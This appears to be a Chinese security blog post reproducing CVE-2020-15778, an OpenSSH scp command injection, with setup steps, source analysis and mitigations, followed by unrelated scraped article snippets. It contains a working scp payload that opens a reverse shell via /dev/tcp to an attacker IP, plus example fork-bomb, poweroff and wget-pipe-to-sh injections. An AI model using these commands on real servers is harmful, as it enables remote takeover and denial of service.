openssh安装_CVE202015778:OpenSSH命令注入漏洞复现

上方蓝色字体关注我们,一起学安全! 作者:Menge&小泫 @Timeline Sec 本文字数:1160 阅读时长:3~4min 声明:请勿用作违法用途,否则后果自负 0x01 简介

OpenSSH是SSH(Secure SHell)协议的免费开源实现。OpenSSH是个SSH的软件,linux/unix都用openssh软件提供SSH服务。scp 是 secure copy 的缩写, scp 是 linux 系统下基于 ssh 登陆进行安全的远程文件拷贝命令。

0x02 漏洞概述

该漏洞编号CVE-2020-15778。OpenSSH的8.3p1及之前版本中的scp允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令。目前绝大多数linux系统受影响。

0x03 影响版本

openssh <= openssh-8.3p1

0x04 环境搭建

未安装ssh:

进行安装

sudo apt-get install openssh-client

已安装ssh:
ssh -V 查看版本信息 b11691fc1e3632d8e66a76c49cfba6a3.png 0x05 漏洞复现

前提:需要知道目标ssh账号密码

目标:192.168.233.130

本机:192.168.233.140

执行命令:

scp /tmp/hello.txt xuan@192.168.233.130:'`bash -i >& /dev/tcp/192.168.233.140/9999 0>&1`'

3c8fc0ad2fe7bc2b1497e013158bc85f.gif

将本地文件复制到远程机器,本来后面跟的是文件名,但是由于未正确过滤其中的特殊字符导致命令注入。

0x06 漏洞分析 在使用scp远程传输文件时,正常使用是这样的
scp SourceFile user@host:目录/TargetFile

在执行上面这条命令时会执行一个本地命令
scp -t 目录/TargetFile

对应源码如下: 42f52c5ce2f26d067d80b83c9ecb3779.png
源码地址:
https://github.com/openssh/openssh-portable/blob/a2855c048b3f4b17d8787bd3f24232ec0cd79abe/scp.c#L989

由此可以看到对用户输入的目录没有做过滤,导致攻击者可以利用反引号(` `)可以执行一些shell命令。
反引号在linux中的作用: 反引号(`)这个字符所对应的键一般位于键盘的左上角,不要将其同单引号(’)混淆。反引号括起来的字符串被shell解释为命令行,在执行时,shell首先执行该命令行,并以它的标准输出结果取代整个反引号(包括两个反引号)部分。如例程中的`date -d '-1 day' +%Y%m%d`就是把这条命令的结果赋给变量OPDATE。
0x07 经验总结 下面来看看发现漏洞的作者是怎么总结的: 1、攻击者可以poweroff在文件名中放入“ ”或“ 叉子炸弹”,它会导致服务器崩溃或重新启动,这将导致DOS攻击。 2、攻击者可以使用bash绑定外壳之类的各种技巧来获取绑定/反向外壳,或执行“wget https://unknownsource.com/possfullydangerous.sh -O- | sh”之类的sh文件。 3、由于SHELL首先执行backtick命令,然后执行scp命令,因此我们可以在backtick中编写一个无限循环,这将导致套接字长时间打开。多次此类攻击将不会为新连接留下套接字,并会导致DDOS。对于用户来说,ssh被阻止,但authorized_keys文件中的命令选项允许使用scp的情况。您可以绕过此限制并在远程服务器上执行命令。我翻阅了大量资料,这一篇讲authorized_keys文件说明较为详细:
https://www.ibm.com/support/knowledgecenter/en/SSLTBW_2.3.0/com.ibm.zos.v2r3.foto100/authkeyf.htm
在某些情况下,确实是有它的价值的,我在google(国内查不到authorized_keys的资料)上查到有人设置,authorized_keys允许SCP但不允许使用SSH实际登录,当然可能较少,在这种情况下,漏洞显得很有作用了。 0x08 修复方式

1、周期性的更换密码或密钥

2、使用rsync代替scp
参考链接:

https://github.com/cpandya2909/CVE-2020-15778/

57161c6fbfc0e61736f501d7ad405d27.png 330b89f75c77f7cb1fd34499a6598b94.png 阅读原文看更多复现文章Timeline Sec 团队安全路上,与你并肩前行

http://www.niftyadmin.cn/n/712653.html

相关文章

20个梦露的商业计划书

如果说让一个程序员除了写代码&#xff0c;还要路演项目ppt,书写商业计划书。那真的是让人兴奋&#xff0c;甚至还有些小激动。作为担当此任的我不由自主得又吹起了牛逼。额&#xff5e;好吧&#xff0c;如此真情流露的“诚实”确实是让人头大。开始我们话题吧。 1962年8月5号玛…

Extjs Design 可视化开发工具

2019独角兽企业重金招聘Python工程师标准>>> Extjs 出可视化开发工具啦! 不清楚Ext可视化的可以看一下http://www.screencast.com/users/JackSlocum这里的三个视频哈。 安装和汉化的步骤 第一步下载&#xff1a;Ext需要支持AIR的支持 下载并安装 http://aird…

asBroadcastStream

StreamSubscription sc StreamSubscription(); Stream s Stream(); sc.addStream(s); var bs sc.stream.asBroadcastStream(); // this works转载于:https://www.cnblogs.com/pythonClub/p/10839163.html

HDU 2044:一只小蜜蜂...(动态规划)

题目地址&#xff1a;http://acm.hdu.edu.cn/showproblem.php?pid2044 斐波那契数列&#xff0c;动态规划&#xff0c;打表 观察可知&#xff1a;要到达一个蜂房&#xff0c;如果这个蜂房在第一排&#xff0c;只能从它左边的蜂房或者左下方的蜂房过来&#xff1b;如果这个蜂…

冲压模板自动标注LISP_史上最全的冲压模具资料(连载一)

★冲压模具的概念冲压模具&#xff0c;也称冲模、五金模具、五金冲压模具&#xff0c;意思差不多都是一样的。是指利用固定在冲床或压力机上的模具对金属或非金属板材施加一定的压力&#xff0c;使材料产生分离或成型&#xff0c;从而获得一定尺寸要求、外观质量合格的零件的压…

win 8 共享连接数是多少_解决不同系统间的共享问题

WindowsXP系统的计算机有时无法访问Windows7或Windows10系统中的共享文件夹。如何解决呢&#xff1f;请看以下图解&#xff1a;步骤1打开“控制面板”窗口&#xff0c;单击“系统和安全”分类下的"Windows防火墙“链接&#xff0c;打开”Windows防火墙“窗口&#xff0c;如…

django 过滤器

过滤器就象本章前面提到的一样&#xff0c;模板过滤器是在变量被显示前修改它的值的一个简单方法。 过滤器使用管道字符&#xff0c;如下所示&#xff1a;{{ name|lower }}显示的内容是变量 {{ name }} 被过滤器 lower 处理后的结果&#xff0c;它功能是转换文本为小写。过滤管…

jenkins 指定版本打包_Jenkins 系列 -- 创建第一个打包项目

上一篇我们安装好了 Jenkins 设置了管理员用户。这一篇我们将实现第一自动化打包&#xff0c;迈出了我们成功的第一步。全局工具配置Manage Jenkins -->Global Tool Configuration一&#xff1a; jdk 安装可选择自动安装或设置使用本地的jdk如下。当勾选Install automatical…